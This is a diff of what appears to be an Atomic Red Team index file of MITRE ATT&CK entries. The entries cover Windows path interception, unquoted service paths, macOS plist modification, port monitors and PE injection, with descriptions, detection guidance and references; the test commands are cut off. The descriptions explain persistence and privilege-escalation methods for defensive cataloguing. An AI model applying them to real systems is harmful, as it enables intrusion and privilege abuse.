+        url: http://support.microsoft.com/KB/103000
+      - source_name: Baggett 2012
+        description: Baggett, M. (2012, November 8). Help eliminate unquoted path
+          vulnerabilities. Retrieved December 4, 2014.
+        url: https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464
+      - source_name: SecurityBoulevard Unquoted Services APR 2018
+        description: HackHappy. (2018, April 23). Windows Privilege Escalation – Unquoted
+          Services. Retrieved August 10, 2018.
+        url: https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/
+      - source_name: SploitSpren Windows Priv Jan 2018
+        description: McFarland, R. (2018, January 26). Windows Privilege Escalation
+          Guide. Retrieved August 10, 2018.
+        url: https://www.sploitspren.com/2018-01-26-Windows-Privilege-Escalation-Guide/
+      - source_name: Microsoft CreateProcess
+        description: Microsoft. (n.d.). CreateProcess function. Retrieved December
+          5, 2014.
+        url: http://msdn.microsoft.com/en-us/library/ms682425
+      - source_name: Hill NT Shell
+        description: Hill, T. (n.d.). Windows NT Command Shell. Retrieved December
+          5, 2014.
+        url: http://technet.microsoft.com/en-us/library/cc723564.aspx#XSLTsection127121120120
+      - source_name: Microsoft WinExec
+        description: Microsoft. (n.d.). WinExec function. Retrieved December 5, 2014.
+        url: http://msdn.microsoft.com/en-us/library/ms687393
+      - source_name: MSDN Environment Property
+        description: Microsoft. (n.d.). Environment Property. Retrieved July 27, 2016.
+        url: https://msdn.microsoft.com/en-us/library/fd7hxfdd.aspx
     atomic_tests: []
   T1574.007:
     technique:
-      created: '2020-03-13T14:10:43.424Z'
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Path Interception by PATH Environment Variable
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'File: File Modification'
+      - 'Process: Process Creation'
+      x_mitre_version: '1.0'
       modified: '2020-09-16T16:56:34.583Z'
+      created: '2020-03-13T14:10:43.424Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
@@ -16501,48 +16876,64 @@ privilege-escalation:
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      type: attack-pattern
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1574.007
-        url: https://attack.mitre.org/techniques/T1574/007
-      - external_id: CAPEC-13
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/13.html
-      - external_id: CAPEC-38
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/38.html
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Path Interception by PATH Environment Variable
+      x_mitre_defense_bypassed:
+      - Application control
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--0c2d00da-7742-49e7-9928-4514e5075d32
       description: |-
         Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. Adversaries may place a program in an earlier entry in the list of directories stored in the PATH environment variable, which Windows will then execute when it searches sequentially through that PATH listing in search of the binary that was called from a script or the command line.
 
         The PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, <code>%SystemRoot%\system32</code> (e.g., <code>C:\Windows\system32</code>), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.
 
         For example, if <code>C:\example path</code> precedes </code>C:\Windows\system32</code> is in the PATH environment variable, a program that is named net.exe and placed in <code>C:\example path</code> will be called instead of the Windows system "net" when "net" is executed from the command-line.
-      id: attack-pattern--0c2d00da-7742-49e7-9928-4514e5075d32
-      x_mitre_defense_bypassed:
-      - Application control
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
+      x_mitre_contributors:
+      - Stefan Kanthak
       x_mitre_detection: |-
         Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.
 
         Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1574/007
+        external_id: T1574.007
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/13.html
+        external_id: CAPEC-13
+        source_name: capec
+      - url: https://capec.mitre.org/data/definitions/38.html
+        external_id: CAPEC-38
+        source_name: capec
+    atomic_tests: []
+  T1574.008:
+    technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Path Interception by Search Order Hijacking
       x_mitre_data_sources:
       - 'File: File Creation'
       - 'File: File Modification'
       - 'Process: Process Creation'
-      x_mitre_contributors:
-      - Stefan Kanthak
+      x_mitre_version: '1.0'
+      modified: '2020-09-17T19:03:35.217Z'
+      created: '2020-03-13T17:48:58.999Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      id: attack-pattern--58af3705-8740-4c68-9329-ec015a7013c2
       x_mitre_platforms:
       - Windows
-    atomic_tests: []
-  T1574.008:
-    technique:
-      id: attack-pattern--58af3705-8740-4c68-9329-ec015a7013c2
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
+      - User
+      - SYSTEM
       description: |-
         Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.
 
@@ -16551,33 +16942,53 @@ privilege-escalation:
         For example, "example.exe" runs "cmd.exe" with the command-line argument <code>net user</code>. An adversary may place a program called "net.exe" within the same directory as example.exe, "net.exe" will be run instead of the Windows system utility net. In addition, if an adversary places a program called "net.com" in the same directory as "net.exe", then <code>cmd.exe /C net user</code> will execute "net.com" instead of "net.exe" due to the order of executable extensions defined under PATHEXT. (Citation: Microsoft Environment Property)
 
         Search order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).
-      name: Path Interception by Search Order Hijacking
+      x_mitre_effective_permissions:
+      - Administrator
+      - SYSTEM
+      - User
+      x_mitre_contributors:
+      - Stefan Kanthak
+      x_mitre_detection: |
+        Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.
+
+        Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
       created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       external_references:
-      - source_name: mitre-attack
+      - url: https://attack.mitre.org/techniques/T1574/008
         external_id: T1574.008
-        url: https://attack.mitre.org/techniques/T1574/008
-      - external_id: CAPEC-159
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/159.html
+        external_id: CAPEC-159
         source_name: capec
-        url: https://capec.mitre.org/data/definitions/159.html
-      - url: http://msdn.microsoft.com/en-us/library/ms682425
+      - source_name: Microsoft CreateProcess
         description: Microsoft. (n.d.). CreateProcess function. Retrieved December
           5, 2014.
-        source_name: Microsoft CreateProcess
-      - source_name: Windows NT Command Shell
-        url: https://docs.microsoft.com/en-us/previous-versions//cc723564(v=technet.10)?redirectedfrom=MSDN#XSLTsection127121120120
+        url: http://msdn.microsoft.com/en-us/library/ms682425
+      - url: https://docs.microsoft.com/en-us/previous-versions//cc723564(v=technet.10)?redirectedfrom=MSDN#XSLTsection127121120120
         description: Tim Hill. (2014, February 2). The Windows NT Command Shell. Retrieved
           December 5, 2014.
-      - url: http://msdn.microsoft.com/en-us/library/ms687393
+        source_name: Windows NT Command Shell
+      - source_name: Microsoft WinExec
         description: Microsoft. (n.d.). WinExec function. Retrieved December 5, 2014.
-        source_name: Microsoft WinExec
-      - source_name: Microsoft Environment Property
-        url: https://docs.microsoft.com/en-us/previous-versions//fd7hxfdd(v=vs.85)?redirectedfrom=MSDN
+        url: http://msdn.microsoft.com/en-us/library/ms687393
+      - url: https://docs.microsoft.com/en-us/previous-versions//fd7hxfdd(v=vs.85)?redirectedfrom=MSDN
         description: Microsoft. (2011, October 24). Environment Property. Retrieved
           July 27, 2016.
+        source_name: Microsoft Environment Property
+    atomic_tests: []
+  T1574.009:
+    technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       type: attack-pattern
+      name: Path Interception by Unquoted Path
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'File: File Modification'
+      - 'Process: Process Creation'
+      x_mitre_version: '1.1'
+      modified: '2020-09-17T19:05:23.755Z'
+      created: '2020-03-13T13:51:58.519Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
@@ -16585,91 +16996,46 @@ privilege-escalation:
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      modified: '2020-09-17T19:03:35.217Z'
-      created: '2020-03-13T17:48:58.999Z'
       x_mitre_platforms:
       - Windows
-      x_mitre_contributors:
-      - Stefan Kanthak
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'File: File Modification'
-      - 'Process: Process Creation'
-      x_mitre_detection: |
-        Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.
-
-        Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
-      x_mitre_permissions_required:
-      - Administrator
-      - User
-      - SYSTEM
-      x_mitre_effective_permissions:
-      - Administrator
-      - SYSTEM
-      - User
       x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
-    atomic_tests: []
-  T1574.009:
-    technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1574.009
-        url: https://attack.mitre.org/techniques/T1574/009
-      - external_id: CAPEC-38
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/38.html
-      - source_name: Microsoft CurrentControlSet Services
-        url: https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree
-        description: Microsoft. (2017, April 20). HKLM\SYSTEM\CurrentControlSet\Services
-          Registry Tree. Retrieved March 16, 2020.
-      - source_name: Help eliminate unquoted path
-        url: https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464
-        description: Mark Baggett. (2012, November 8). Help eliminate unquoted path
-          vulnerabilities. Retrieved November 8, 2012.
-      - source_name: Windows Unquoted Services
-        url: https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/
-        description: HackHappy. (2018, April 23). Windows Privilege Escalation – Unquoted
-          Services. Retrieved August 10, 2018.
-      - source_name: Windows Privilege Escalation Guide
-        url: https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
-        description: absolomb. (2018, January 26). Windows Privilege Escalation Guide.
-          Retrieved August 10, 2018.
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Path Interception by Unquoted Path
+      id: attack-pattern--bf96a5a3-3bce-43b7-8597-88545984c07b
       description: |-
         Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.
 
         Service paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., <code>C:\unsafe path with space\program.exe</code> vs. <code>"C:\safe path with space\program.exe"</code>). (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is <code>C:\program files\myapp.exe</code>, an adversary may create a program at <code>C:\program.exe</code> that will be run instead of the intended program. (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide)
 
         This technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.
-      id: attack-pattern--bf96a5a3-3bce-43b7-8597-88545984c07b
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2020-09-17T19:05:23.755Z'
-      created: '2020-03-13T13:51:58.519Z'
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: true
+      x_mitre_contributors:
+      - Stefan Kanthak
       x_mitre_detection: |-
         Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.
 
         Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'File: File Modification'
-      - 'Process: Process Creation'
-      x_mitre_contributors:
-      - Stefan Kanthak
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1574/009
+        external_id: T1574.009
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/38.html
+        external_id: CAPEC-38
+        source_name: capec
+      - url: https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree
+        description: Microsoft. (2017, April 20). HKLM\SYSTEM\CurrentControlSet\Services
+          Registry Tree. Retrieved March 16, 2020.
+        source_name: Microsoft CurrentControlSet Services
+      - url: https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464
+        description: Mark Baggett. (2012, November 8). Help eliminate unquoted path
+          vulnerabilities. Retrieved November 8, 2012.
+        source_name: Help eliminate unquoted path
+      - url: https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/
+        description: HackHappy. (2018, April 23). Windows Privilege Escalation – Unquoted
+          Services. Retrieved August 10, 2018.
+        source_name: Windows Unquoted Services
+      - url: https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
+        description: absolomb. (2018, January 26). Windows Privilege Escalation Guide.
+          Retrieved August 10, 2018.
+        source_name: Windows Privilege Escalation Guide
       identifier: T1574.009
     atomic_tests:
     - name: Execution of program.exe as service with unquoted service path
@@ -16702,87 +17068,69 @@ privilege-escalation:
         elevation_required: true
   T1547.011:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Plist Modification
+      x_mitre_data_sources:
+      - 'Service: Service Creation'
+      - 'Command: Command Execution'
+      - 'File: File Modification'
+      - 'Process: Process Creation'
+      x_mitre_version: '1.1'
+      modified: '2021-10-15T14:46:47.383Z'
       created: '2020-01-24T20:02:59.149Z'
-      modified: '2021-03-30T00:51:59.629Z'
+      x_mitre_permissions_required:
+      - User
+      - Administrator
+      x_mitre_platforms:
+      - macOS
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--6747daa2-3533-4e78-8fb8-446ebb86448a
+      description: "Adversaries can modify property list files (plist files) to execute
+        their code as part of establishing persistence. Plist files are used by macOS
+        applications to store properties and configuration settings for applications
+        and services. Applications use information plist files, <code>Info.plist</code>,
+        to tell the operating system how to handle the application at runtime using
+        structured metadata in the form of keys and values. Plist files are formatted
+        in XML and based on Apple's Core Foundation DTD and can be saved in text or
+        binary format.(Citation: fileinfo plist file description) \n\nAdversaries
+        can modify paths to executed binaries, add command line arguments, and insert
+        key/pair values to plist files in auto-run locations which execute upon user
+        logon or system startup. Through modifying plist files in these locations,
+        adversaries can also execute a malicious dynamic library (dylib) by adding
+        a dictionary containing the <code>DYLD_INSERT_LIBRARIES</code> key combined
+        with a path to a malicious dylib under the <code>EnvironmentVariables</code>
+        key in a plist file. Upon user logon, the plist is called for execution and
+        the malicious dylib is executed within the process space. Persistence can
+        also be achieved by modifying the <code>LSEnvironment</code> key in the application's
+        <code>Info.plist</code> file.(Citation: wardle artofmalware volume1)"
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      type: attack-pattern
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1547.011
-        url: https://attack.mitre.org/techniques/T1547/011
-      - url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
-        description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26).
-          Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.
-        source_name: Sofacy Komplex Trojan
-      - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
-        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
-          on Mac OS X. Retrieved July 5, 2017.
-        source_name: Methods of Mac Malware Persistence
-      - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html
-        description: Apple. (2016, September 13). Adding Login Items. Retrieved July
-          11, 2017.
-        source_name: Adding Login Items
-      - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
-        description: Patrick Wardle. (2015). Malware Persistence on OS X Yosemite.
-          Retrieved July 10, 2017.
-        source_name: Malware Persistence on OS X
-      - url: https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/
-        description: Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web
-          traffic. Retrieved July 10, 2017.
-        source_name: OSX.Dok Malware
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      x_mitre_detection: "Monitor for common command-line editors used to modify plist
+        files located in auto-run locations, such as <code>~/LaunchAgents</code>,
+        <code>~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm</code>,
+        and an application's <code>Info.plist</code>. \n\nMonitor for plist file modification
+        immediately followed by code execution from <code>~/Library/Scripts</code>
+        and <code>~/Library/Preferences</code>. Also, monitor for significant changes
+        to any path pointers in a modified plist.\n\nIdentify new services executed
+        from plist modified in the previous user's session. "
       created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Plist Modification
-      description: "Adversaries may modify plist files to run a program during system
-        boot or user login. Property list (plist) files contain all of the information
-        that macOS and OS X uses to configure applications and services. These files
-        are UTF-8 encoded and formatted like XML documents via a series of keys surrounded
-        by < >. They detail when programs should execute, file paths to the executables,
-        program arguments, required OS permissions, and many others. plists are located
-        in certain locations depending on their purpose such as <code>/Library/Preferences</code>
-        (which execute with elevated privileges) and <code>~/Library/Preferences</code>
-        (which execute with a user's privileges). \n\nAdversaries can modify plist
-        files to execute their code as part of establishing persistence. plists may
-        also be used to elevate privileges since they may execute in the context of
-        another user.(Citation: Sofacy Komplex Trojan) \n\nA specific plist used for
-        execution at login is <code>com.apple.loginitems.plist</code>.(Citation: Methods
-        of Mac Malware Persistence) Applications under this plist run under the logged
-        in user's context, and will be started every time the user logs in. Login
-        items installed using the Service Management Framework are not visible in
-        the System Preferences and can only be removed by the application that created
-        them.(Citation: Adding Login Items) Users have direct control over login items
-        installed using a shared file list which are also visible in System Preferences
-        (Citation: Adding Login Items). Some of these applications can open visible
-        dialogs to the user, but they don’t all have to since there is an option to
-        \"hide\" the window. If an adversary can register their own login item or
-        modified an existing one, then they can use it to execute their code for a
-        persistence mechanism each time the user logs in (Citation: Malware Persistence
-        on OS X) (Citation: OSX.Dok Malware). The API method <code> SMLoginItemSetEnabled</code>
-        can be used to set Login Items, but scripting languages like [AppleScript](https://attack.mitre.org/techniques/T1059/002)
-        can do this as well. (Citation: Adding Login Items)"
-      id: attack-pattern--6747daa2-3533-4e78-8fb8-446ebb86448a
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
-      - Administrator
-      x_mitre_detection: |-
-        File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like "Knock Knock" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed.
-
-        All the login items created via shared file lists are viewable by going to the Apple menu -> System Preferences -> Users & Groups -> Login items. This area (and the corresponding file locations) should be monitored and allowed for known good applications. Otherwise, Login Items are located in <code> Contents/Library/LoginItems </code> within an application bundle, so these paths should be monitored as well.(Citation: Adding Login Items)
-
-        Monitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity.
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'File: File Modification'
-      - 'Process: Process Creation'
-      x_mitre_platforms:
-      - macOS
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1547/011
+        external_id: T1547.011
+        source_name: mitre-attack
+      - url: https://fileinfo.com/extension/plist
+        description: FileInfo.com team. (2019, November 26). .PLIST File Extension.
+          Retrieved October 12, 2021.
+        source_name: fileinfo plist file description
+      - url: https://taomm.org/vol1/pdfs.html
+        description: 'Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume
+          0x1: Analysis. Retrieved March 19, 2021.'
+        source_name: wardle artofmalware volume1
       identifier: T1547.011
     atomic_tests:
     - name: Plist Modification
@@ -16806,26 +17154,30 @@ privilege-escalation:
         name: manual
   T1547.010:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1547.010
-        url: https://attack.mitre.org/techniques/T1547/010
-      - url: http://msdn.microsoft.com/en-us/library/dd183341
-        description: Microsoft. (n.d.). AddMonitor function. Retrieved November 12,
-          2014.
-        source_name: AddMonitor
-      - url: https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf
-        description: Bloxham, B. (n.d.). Getting Windows to Play with Itself &#91;PowerPoint
-          slides&#93;. Retrieved November 12, 2014.
-        source_name: Bloxham
-      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
-        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
-          Retrieved June 6, 2016.
-        source_name: TechNet Autoruns
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Port Monitors
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'Process: OS API Execution'
+      - 'Module: Module Load'
+      - 'Windows Registry: Windows Registry Key Modification'
+      x_mitre_version: '1.0'
+      modified: '2020-01-24T19:46:27.750Z'
+      created: '2020-01-24T19:46:27.750Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      id: attack-pattern--43881e51-ac74-445b-b4c6-f9f9e9bf23fe
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - SYSTEM
+      - Administrator
       description: "Adversaries may use port monitors to run an attacker supplied
         DLL during system boot for persistence or privilege escalation. A port monitor
         can be set through the <code>AddMonitor</code> API call to set a DLL to be
@@ -16838,22 +17190,11 @@ privilege-escalation:
         Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n\nAdversaries can use this
         technique to load malicious code at startup that will persist on system reboot
         and execute as SYSTEM."
-      id: attack-pattern--43881e51-ac74-445b-b4c6-f9f9e9bf23fe
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      modified: '2020-01-24T19:46:27.750Z'
-      created: '2020-01-24T19:46:27.750Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
       x_mitre_effective_permissions:
       - SYSTEM
-      x_mitre_permissions_required:
-      - SYSTEM
-      - Administrator
+      x_mitre_contributors:
+      - Stefan Kanthak
+      - Travis Smith, Tripwire
       x_mitre_detection: "Monitor process API calls to <code>AddMonitor</code>.(Citation:
         AddMonitor) Monitor DLLs that are loaded by spoolsv.exe for DLLs that are
         abnormal. New DLLs written to the System32 directory that do not correlate
@@ -16861,16 +17202,23 @@ privilege-escalation:
         writes to <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>.
         Run the Autoruns utility, which checks for this Registry key as a persistence
         mechanism (Citation: TechNet Autoruns)"
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'Process: OS API Execution'
-      - 'Module: Module Load'
-      - 'Windows Registry: Windows Registry Key Modification'
-      x_mitre_contributors:
-      - Stefan Kanthak
-      - Travis Smith, Tripwire
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1547/010
+        external_id: T1547.010
+        source_name: mitre-attack
+      - source_name: AddMonitor
+        description: Microsoft. (n.d.). AddMonitor function. Retrieved November 12,
+          2014.
+        url: http://msdn.microsoft.com/en-us/library/dd183341
+      - source_name: Bloxham
+        description: Bloxham, B. (n.d.). Getting Windows to Play with Itself &#91;PowerPoint
+          slides&#93;. Retrieved November 12, 2014.
+        url: https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf
+      - source_name: TechNet Autoruns
+        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
+          Retrieved June 6, 2016.
+        url: https://technet.microsoft.com/en-us/sysinternals/bb963902
       identifier: T1547.010
     atomic_tests:
     - name: Add Port Monitor persistence in Registry
@@ -16899,15 +17247,26 @@ privilege-escalation:
         elevation_required: true
   T1055.002:
     technique:
-      created: '2020-01-14T01:27:31.344Z'
-      modified: '2020-11-10T18:29:30.882Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       type: attack-pattern
+      name: Portable Executable Injection
+      x_mitre_data_sources:
+      - 'Process: Process Modification'
+      - 'Process: OS API Execution'
+      - 'Process: Process Access'
+      x_mitre_version: '1.1'
+      modified: '2021-10-18T12:21:11.178Z'
+      created: '2020-01-14T01:27:31.344Z'
       id: attack-pattern--806a49c4-970d-43f9-9acc-ac0ee11e6662
+      x_mitre_defense_bypassed:
+      - Anti-virus
+      - Application control
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
       description: "Adversaries may inject portable executables (PE) into processes
         in order to evade process-based defenses as well as possibly elevate privileges.
         PE injection is a method of executing arbitrary code in the address space
@@ -16922,23 +17281,11 @@ privilege-escalation:
         may allow access to the process's memory, system/network resources, and possibly
         elevated privileges. Execution via PE injection may also evade detection from
         security products since the execution is masked under a legitimate process. "
-      name: Portable Executable Injection
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1055.002
-        url: https://attack.mitre.org/techniques/T1055/002
-      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
-        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
-          A Technical Survey Of Common And Trending Process Injection Techniques.
-          Retrieved December 7, 2017.'
-        source_name: Elastic Process Injection July 2017
-      x_mitre_platforms:
-      - Windows
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
       x_mitre_detection: "Monitoring Windows API calls indicative of the various types
         of code injection may generate a significant amount of data and may not be
         directly useful for defense unless collected under specific circumstances
@@ -16950,41 +17297,43 @@ privilege-escalation:
         process behavior to determine if a process is performing actions it usually
         does not, such as opening network connections, reading files, or other suspicious
         actions that could relate to post-compromise behavior. "
-      x_mitre_permissions_required:
-      - User
-      x_mitre_data_sources:
-      - 'Process: OS API Execution'
-      - 'Process: Process Access'
-      x_mitre_defense_bypassed:
-      - Anti-virus
-      - Application control
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
